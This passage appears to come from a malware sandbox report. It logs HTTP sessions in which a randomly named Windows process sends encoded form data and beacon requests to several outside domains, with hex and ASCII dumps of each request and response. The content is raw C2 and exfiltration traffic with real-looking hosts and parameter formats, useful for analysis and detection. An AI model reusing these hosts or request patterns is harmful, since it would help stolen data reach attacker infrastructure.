0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49968	209.74.64.187	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:38:41.615027905 CET	549	OUT	GET /ohf8/?aNXP_jw=ll5dDbshsmxjCV2KoC1RTtNOe9IddMOnmIejqeX5AC+cgPBA3oVXvxxUo0hOqHqzs3EuIGVBpbOb4OwgMNYqC7Yr6zshBBR6fmx5Fk8+3pxn0VniOhKvc7yUqYSWiUeq1UgZ2CQ=&cTT8u=Q4NHoHJ0 HTTP/1.1 Host: www.jagdud.store Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Dec 2, 2024 14:38:42.952363014 CET	548	IN	HTTP/1.1 404 Not Found Date: Mon, 02 Dec 2024 13:38:42 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49985	3.33.130.190	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:38:48.700900078 CET	816	OUT	POST /gofy/ HTTP/1.1 Host: www.wiretap.digital Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wiretap.digital Referer: http://www.wiretap.digital/gofy/ Content-Length: 212 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 33 52 67 51 6e 75 30 71 31 57 39 50 69 57 50 51 5a 57 50 61 4c 51 57 2b 6f 6f 59 6a 6b 48 47 4e 72 68 79 50 71 30 46 72 50 7a 4f 76 79 62 59 5a 66 41 6e 45 31 55 64 73 30 54 6e 46 62 55 38 51 30 70 33 54 63 53 73 34 5a 4c 79 6f 6a 30 67 6e 66 69 36 34 65 6e 6d 52 75 34 2b 37 38 49 48 65 62 77 2b 53 7a 42 34 68 43 45 42 6c 78 39 49 51 76 50 4e 53 4a 65 53 30 54 43 6b 45 48 47 37 31 4f 6e 6f 35 2f 73 65 63 4e 35 47 39 6e 65 34 56 4f 6e 53 59 62 34 43 49 6b 2f 6a 69 34 68 4b 30 41 66 4a 63 49 71 75 37 50 4c 77 34 4f 34 68 73 63 67 4f 62 6f 6b 36 71 32 42 6a 33 65 4d 39 4a 34 61 69 50 38 39 34 70 35 79 67 69 Data Ascii: aNXP_jw=3RgQnu0q1W9PiWPQZWPaLQW+ooYjkHGNrhyPq0FrPzOvybYZfAnE1Uds0TnFbU8Q0p3TcSs4ZLyoj0gnfi64enmRu4+78IHebw+SzB4hCEBlx9IQvPNSJeS0TCkEHG71Ono5/secN5G9ne4VOnSYb4CIk/ji4hK0AfJcIqu7PLw4O4hscgObok6q2Bj3eM9J4aiP894p5ygi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49992	3.33.130.190	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:38:51.373893023 CET	840	OUT	POST /gofy/ HTTP/1.1 Host: www.wiretap.digital Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wiretap.digital Referer: http://www.wiretap.digital/gofy/ Content-Length: 236 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 33 52 67 51 6e 75 30 71 31 57 39 50 68 33 2f 51 65 46 6e 61 4e 77 57 78 6e 49 59 6a 76 6e 47 42 72 68 4f 50 71 78 67 75 50 41 71 76 79 37 6f 5a 65 42 6e 45 6d 6b 64 73 38 7a 6e 41 46 6b 39 65 30 70 37 68 63 51 34 34 5a 4c 4f 6f 6a 32 6f 6e 65 56 75 6e 66 33 6d 54 6a 59 2b 35 6b 6f 48 65 62 77 2b 53 7a 42 38 48 43 41 56 6c 79 4a 30 51 67 4f 4e 52 44 2b 53 37 53 43 6b 45 4e 6d 37 70 4f 6e 6f 4c 2f 74 44 37 4e 2f 43 39 6e 62 38 56 4f 32 53 62 4f 49 43 47 35 50 69 75 32 7a 72 4d 4e 63 51 4c 55 72 32 38 50 4d 49 50 50 4f 38 32 41 54 4f 34 36 30 61 6f 32 44 37 46 65 73 39 6a 36 61 61 50 75 71 30 4f 32 47 46 42 52 31 75 31 79 45 64 73 63 67 78 63 69 49 46 36 76 78 4a 66 37 41 3d 3d Data Ascii: aNXP_jw=3RgQnu0q1W9Ph3/QeFnaNwWxnIYjvnGBrhOPqxguPAqvy7oZeBnEmkds8znAFk9e0p7hcQ44ZLOoj2oneVunf3mTjY+5koHebw+SzB8HCAVlyJ0QgONRD+S7SCkENm7pOnoL/tD7N/C9nb8VO2SbOICG5Piu2zrMNcQLUr28PMIPPO82ATO460ao2D7Fes9j6aaPuq0O2GFBR1u1yEdscgxciIF6vxJf7A==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49999	3.33.130.190	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:38:54.039807081 CET	1853	OUT	POST /gofy/ HTTP/1.1 Host: www.wiretap.digital Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wiretap.digital Referer: http://www.wiretap.digital/gofy/ Content-Length: 1248 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 33 52 67 51 6e 75 30 71 31 57 39 50 68 33 2f 51 65 46 6e 61 4e 77 57 78 6e 49 59 6a 76 6e 47 42 72 68 4f 50 71 78 67 75 50 41 69 76 79 4b 49 5a 66 6d 4c 45 33 55 64 73 79 54 6e 42 46 6b 39 54 30 70 79 6f 63 51 31 50 5a 4f 4b 6f 69 54 6b 6e 50 55 75 6e 57 33 6d 54 38 49 2b 36 38 49 47 55 62 77 75 57 7a 42 73 48 43 41 56 6c 79 50 51 51 70 2f 4e 52 46 2b 53 30 54 43 6b 59 48 47 37 56 4f 6e 51 62 2f 74 48 42 4e 4d 4b 39 6e 37 4d 56 4e 45 4b 62 53 59 43 54 36 50 6a 7a 32 7a 6e 54 4e 66 30 48 55 72 53 57 50 4c 34 50 50 34 4a 35 51 6e 62 6e 6e 48 36 63 6f 67 4c 7a 5a 4b 70 4a 67 73 65 55 72 36 6b 79 37 32 64 66 64 41 66 32 78 31 77 76 61 54 6f 30 6b 76 59 4c 72 41 4d 4d 74 4a 63 32 56 44 58 38 71 6e 58 65 6e 4c 6d 64 4d 6f 35 33 6c 33 7a 56 72 61 44 4f 57 47 2b 58 36 6f 47 47 4f 53 39 71 33 32 34 67 73 35 71 64 32 2b 45 49 73 77 6d 38 4f 2f 66 79 69 44 47 48 74 37 6c 5a 34 5a 35 69 39 72 56 61 43 62 59 69 33 46 4a 36 4f 61 61 65 46 62 2b 42 66 5a 76 6a 4b 43 65 50 65 76 54 30 61 38 [TRUNCATED] Data Ascii: aNXP_jw=3RgQnu0q1W9Ph3/QeFnaNwWxnIYjvnGBrhOPqxguPAivyKIZfmLE3UdsyTnBFk9T0pyocQ1PZOKoiTknPUunW3mT8I+68IGUbwuWzBsHCAVlyPQQp/NRF+S0TCkYHG7VOnQb/tHBNMK9n7MVNEKbSYCT6Pjz2znTNf0HUrSWPL4PP4J5QnbnnH6cogLzZKpJgseUr6ky72dfdAf2x1wvaTo0kvYLrAMMtJc2VDX8qnXenLmdMo53l3zVraDOWG+X6oGGOS9q324gs5qd2+EIswm8O/fyiDGHt7lZ4Z5i9rVaCbYi3FJ6OaaeFb+BfZvjKCePevT0a8xUwd9F5xVeLeki+Lr9YN8Ga7vyaPOCXeevBr/A3eKCaV4QSqsVlLPkJ09cwTci68N5sq0DDG5q21KqdRS5bQRXxlcT2r5tWsrWXb6dQLqoeFZpuVitkoIgzTwKq5+dJ7ccjUP8lqpqBYfftIcPk6A9jftC50a2jEMwgmbRi0M2/Lo3/jALDQmRFDTcT4zKZnt8wYsEMlolGBGijBbVoQ2niL0aqqzbL9Gev+hgXH6K9UBS0+zBc5ewR/dm2d1ArpU4SwLTZV8SWjNSSSV7GKalP7nmuNt0GtiHhqYG6j/0hSVukaNB3lBBvGsdlRjXMr1aa8CeqNIQ+NQvt7yARbSuB2oL350mDGAH8rH7F31cm6Kr6GwaUGcjxH85l+7ynYRmU845N4i6jbC2DD8GE7f14afUYj1IK6RiwGjZ8zQZeCaA5RLGEaOUHQQKcq+vSNWWoCBDNk3Cj4n9Kd9Os10cyuC+9OOOHfRrgRkMhrCcs8Xf4h6bkBzo16RDLDhRodC9azgJcpH8Zx/2fXzN+AmEdevh4tEBHlB1APk4gviVL2vlfccjYmolmYoj3q4LeGOy1FXOguQsZ+7K8T0iw+Lexmz6cWTtOhkUdHqQNDxJQjwfIk7T2HPAFx7CRecdoDkzzfv1sW9xOoCGT9kHNx5JFmIkg0Mblrjq [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50005	3.33.130.190	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:38:56.692955017 CET	552	OUT	GET /gofy/?cTT8u=Q4NHoHJ0&aNXP_jw=6TIwkaMK82JU2lT4P2bgJiPAvIc6jXqd+j7u+3hJGjnGpfQiXQPwlx1SylvkGzRUjN/XVyFZdd3ZrGt0Ry6iVQqerNi8ibzmajOWyGUvPjo8vNYMiNR/EtvLRStZKR6xKR5Vua8= HTTP/1.1 Host: www.wiretap.digital Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Dec 2, 2024 14:38:57.778453112 CET	414	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 02 Dec 2024 13:38:57 GMT Content-Type: text/html Content-Length: 274 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 63 54 54 38 75 3d 51 34 4e 48 6f 48 4a 30 26 61 4e 58 50 5f 6a 77 3d 36 54 49 77 6b 61 4d 4b 38 32 4a 55 32 6c 54 34 50 32 62 67 4a 69 50 41 76 49 63 36 6a 58 71 64 2b 6a 37 75 2b 33 68 4a 47 6a 6e 47 70 66 51 69 58 51 50 77 6c 78 31 53 79 6c 76 6b 47 7a 52 55 6a 4e 2f 58 56 79 46 5a 64 64 33 5a 72 47 74 30 52 79 36 69 56 51 71 65 72 4e 69 38 69 62 7a 6d 61 6a 4f 57 79 47 55 76 50 6a 6f 38 76 4e 59 4d 69 4e 52 2f 45 74 76 4c 52 53 74 5a 4b 52 36 78 4b 52 35 56 75 61 38 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?cTT8u=Q4NHoHJ0&aNXP_jw=6TIwkaMK82JU2lT4P2bgJiPAvIc6jXqd+j7u+3hJGjnGpfQiXQPwlx1SylvkGzRUjN/XVyFZdd3ZrGt0Ry6iVQqerNi8ibzmajOWyGUvPjo8vNYMiNR/EtvLRStZKR6xKR5Vua8="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50011	3.33.130.190	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:39:03.596259117 CET	801	OUT	POST /5l50/ HTTP/1.1 Host: www.it2sp8.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.it2sp8.vip Referer: http://www.it2sp8.vip/5l50/ Content-Length: 212 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 6d 4d 45 30 5a 58 30 63 5a 47 74 75 6c 41 74 38 79 43 2f 64 58 55 4c 64 47 38 36 2f 57 6c 4c 33 73 2b 73 57 34 59 78 66 53 7a 72 58 56 43 4e 4c 63 4d 52 72 52 6b 5a 7a 76 78 62 54 56 42 70 79 34 31 44 2b 74 66 74 6f 39 6e 64 63 4d 74 74 78 57 32 7a 6b 66 77 41 67 67 75 53 44 44 38 2b 6d 63 56 59 71 39 32 4c 73 66 6d 45 36 61 47 59 53 34 4f 4a 4e 6d 6c 37 61 58 72 41 79 4b 65 65 63 74 67 39 49 66 57 2b 59 58 38 6b 49 59 72 4a 53 48 57 4b 4c 34 44 56 35 74 41 5a 65 61 38 78 62 79 34 42 69 2f 4c 34 55 71 64 30 4d 48 2b 54 2f 51 74 33 41 31 47 2f 2f 51 76 4e 38 74 79 34 37 4a 2b 6a 53 41 6d 37 62 51 70 6f 36 Data Ascii: aNXP_jw=mME0ZX0cZGtulAt8yC/dXULdG86/WlL3s+sW4YxfSzrXVCNLcMRrRkZzvxbTVBpy41D+tfto9ndcMttxW2zkfwAgguSDD8+mcVYq92LsfmE6aGYS4OJNml7aXrAyKeectg9IfW+YX8kIYrJSHWKL4DV5tAZea8xby4Bi/L4Uqd0MH+T/Qt3A1G//QvN8ty47J+jSAm7bQpo6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50012	3.33.130.190	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:39:06.280425072 CET	825	OUT	POST /5l50/ HTTP/1.1 Host: www.it2sp8.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.it2sp8.vip Referer: http://www.it2sp8.vip/5l50/ Content-Length: 236 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 6d 4d 45 30 5a 58 30 63 5a 47 74 75 6b 67 64 38 78 68 58 64 51 30 4c 61 59 4d 36 2f 50 31 4b 38 73 2b 67 57 34 5a 6b 45 53 42 50 58 56 6a 64 4c 66 49 46 72 53 6b 5a 7a 67 52 62 57 49 78 6f 66 34 31 2b 44 74 65 52 6f 39 6e 4a 63 4d 70 70 78 4b 52 6e 6a 5a 67 41 75 31 2b 53 42 4d 63 2b 6d 63 56 59 71 39 79 72 43 66 69 51 36 61 79 6b 53 35 76 4a 4f 73 46 37 56 65 4c 41 79 62 75 65 59 74 67 39 71 66 55 4b 79 58 2f 51 49 59 70 52 53 48 48 4b 49 7a 44 56 2f 67 67 59 43 62 74 59 7a 37 72 74 68 33 61 4d 65 2b 39 45 4a 43 49 4f 6c 4d 65 33 6a 6e 57 66 39 51 74 56 4f 74 53 34 52 4c 2b 62 53 53 78 33 38 66 64 4e 5a 5a 65 72 37 63 72 55 65 46 56 52 64 6b 49 56 45 33 54 6c 6c 45 77 3d 3d Data Ascii: aNXP_jw=mME0ZX0cZGtukgd8xhXdQ0LaYM6/P1K8s+gW4ZkESBPXVjdLfIFrSkZzgRbWIxof41+DteRo9nJcMppxKRnjZgAu1+SBMc+mcVYq9yrCfiQ6aykS5vJOsF7VeLAybueYtg9qfUKyX/QIYpRSHHKIzDV/ggYCbtYz7rth3aMe+9EJCIOlMe3jnWf9QtVOtS4RL+bSSx38fdNZZer7crUeFVRdkIVE3TllEw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50013	3.33.130.190	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:39:08.950103045 CET	1838	OUT	POST /5l50/ HTTP/1.1 Host: www.it2sp8.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.it2sp8.vip Referer: http://www.it2sp8.vip/5l50/ Content-Length: 1248 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 6d 4d 45 30 5a 58 30 63 5a 47 74 75 6b 67 64 38 78 68 58 64 51 30 4c 61 59 4d 36 2f 50 31 4b 38 73 2b 67 57 34 5a 6b 45 53 42 48 58 56 7a 42 4c 64 70 46 72 63 45 5a 7a 70 78 62 58 49 78 6f 6e 34 31 57 48 74 65 64 34 39 6b 78 63 65 61 68 78 47 30 62 6a 58 67 41 75 33 2b 53 43 44 38 2f 73 63 56 70 74 39 32 48 43 66 69 51 36 61 7a 30 53 77 65 4a 4f 71 46 37 61 58 72 41 32 4b 65 66 2f 74 67 45 49 66 55 66 48 58 73 49 49 62 4a 42 53 47 31 69 49 73 7a 56 39 6c 67 59 4b 62 74 45 73 37 72 77 51 33 61 34 6e 2b 36 6b 4a 41 4d 50 46 4a 76 4c 75 38 33 4c 71 4c 36 78 46 71 6b 45 44 50 6f 6a 34 61 52 48 34 51 73 68 71 41 75 76 44 49 39 41 53 4e 45 5a 31 71 64 55 4a 38 52 34 43 58 76 35 38 4f 46 58 4c 4d 48 6c 43 64 36 6c 41 4e 6f 6a 42 4f 49 69 6c 6a 32 56 6b 2f 69 71 4a 49 49 7a 4b 58 4c 4f 68 78 2f 37 6e 48 48 73 7a 4d 56 30 71 55 43 50 35 73 41 37 76 64 38 30 2f 52 79 43 33 70 52 48 7a 2f 67 5a 34 56 4c 76 45 4a 72 48 35 68 36 6a 6c 70 56 6d 51 50 35 67 54 70 43 41 73 35 6d 4f 6f 75 75 [TRUNCATED] Data Ascii: aNXP_jw=mME0ZX0cZGtukgd8xhXdQ0LaYM6/P1K8s+gW4ZkESBHXVzBLdpFrcEZzpxbXIxon41WHted49kxceahxG0bjXgAu3+SCD8/scVpt92HCfiQ6az0SweJOqF7aXrA2Kef/tgEIfUfHXsIIbJBSG1iIszV9lgYKbtEs7rwQ3a4n+6kJAMPFJvLu83LqL6xFqkEDPoj4aRH4QshqAuvDI9ASNEZ1qdUJ8R4CXv58OFXLMHlCd6lANojBOIilj2Vk/iqJIIzKXLOhx/7nHHszMV0qUCP5sA7vd80/RyC3pRHz/gZ4VLvEJrH5h6jlpVmQP5gTpCAs5mOouuKhsv/WUi1NIboD04da64gj+3IpvO8Qeds5090umHyCwjpHBuVUeG10layCK1wJQshx2p30eFEwDxT3VgMm1clvYhbsLXPXGD5AFw1aKRdfcSS78M9vwZjMuPKcfu8v6rHtBu77lT9EmIu3flc3vdfsysbHiI5BtpWGLJbez+hbPI1doPVukH7krQ53agBL1BSvYjzI8CxjQjyATLMUvLYclcnnfwZWc9CevH9YQEG3KFan1HjDEgtgAN3KofUnaR4EuhCp7j0+PegSwsCte6pcxClQwt+Gyo0EMfGwtFaWKBPm1JQHHDdckh1QS7hUJgpeCMrWcrPsEU4IpbvhZf3qlmuVX6Gltxd0yCpJdA8pyqWoTfJudoRShub0LH6xBQIrDbMOHIWaiY0bLl2Y3y58MZqXuaqNFBhIrY18F4E1y0JQpITS8EaQmyvJ9vrKQs6kWmMhtgtftr1kKqey2YXhVAtsY8Au7IFnJ4pqCOqOW7mbAK1VXVyDVRjmcE39dI0m3bKyAed0hbzmBQCqpp0F5jgTOvUCHrfXbyy5TTQ9sU8VWfgT//6WWGdKZazGLfRTUcJDBfiMXzxQwhtrOoxj1By7AvWzzA+Z+hY5+g7nF2HbP5szl2q5M4hApjtXXo01ZXEdO7K03n7OkqjlB8v0+kOyCmC1kQ8G [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50014	3.33.130.190	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:39:11.615056992 CET	547	OUT	GET /5l50/?aNXP_jw=rOsUan8VbFhNvxYE9hHVSSa/SbzRVnORxP9GyZA7SRPLTVt8SKFFaQAsgVzmVwIzjQiAicxO7WRfOIhRPBniTm4i15yEbcTUEwFf3HznLV4DES1syv5vrWOVY80sCIfmhGQOLBk=&cTT8u=Q4NHoHJ0 HTTP/1.1 Host: www.it2sp8.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Dec 2, 2024 14:39:12.751909971 CET	414	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 02 Dec 2024 13:39:12 GMT Content-Type: text/html Content-Length: 274 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 61 4e 58 50 5f 6a 77 3d 72 4f 73 55 61 6e 38 56 62 46 68 4e 76 78 59 45 39 68 48 56 53 53 61 2f 53 62 7a 52 56 6e 4f 52 78 50 39 47 79 5a 41 37 53 52 50 4c 54 56 74 38 53 4b 46 46 61 51 41 73 67 56 7a 6d 56 77 49 7a 6a 51 69 41 69 63 78 4f 37 57 52 66 4f 49 68 52 50 42 6e 69 54 6d 34 69 31 35 79 45 62 63 54 55 45 77 46 66 33 48 7a 6e 4c 56 34 44 45 53 31 73 79 76 35 76 72 57 4f 56 59 38 30 73 43 49 66 6d 68 47 51 4f 4c 42 6b 3d 26 63 54 54 38 75 3d 51 34 4e 48 6f 48 4a 30 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?aNXP_jw=rOsUan8VbFhNvxYE9hHVSSa/SbzRVnORxP9GyZA7SRPLTVt8SKFFaQAsgVzmVwIzjQiAicxO7WRfOIhRPBniTm4i15yEbcTUEwFf3HznLV4DES1syv5vrWOVY80sCIfmhGQOLBk=&cTT8u=Q4NHoHJ0"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
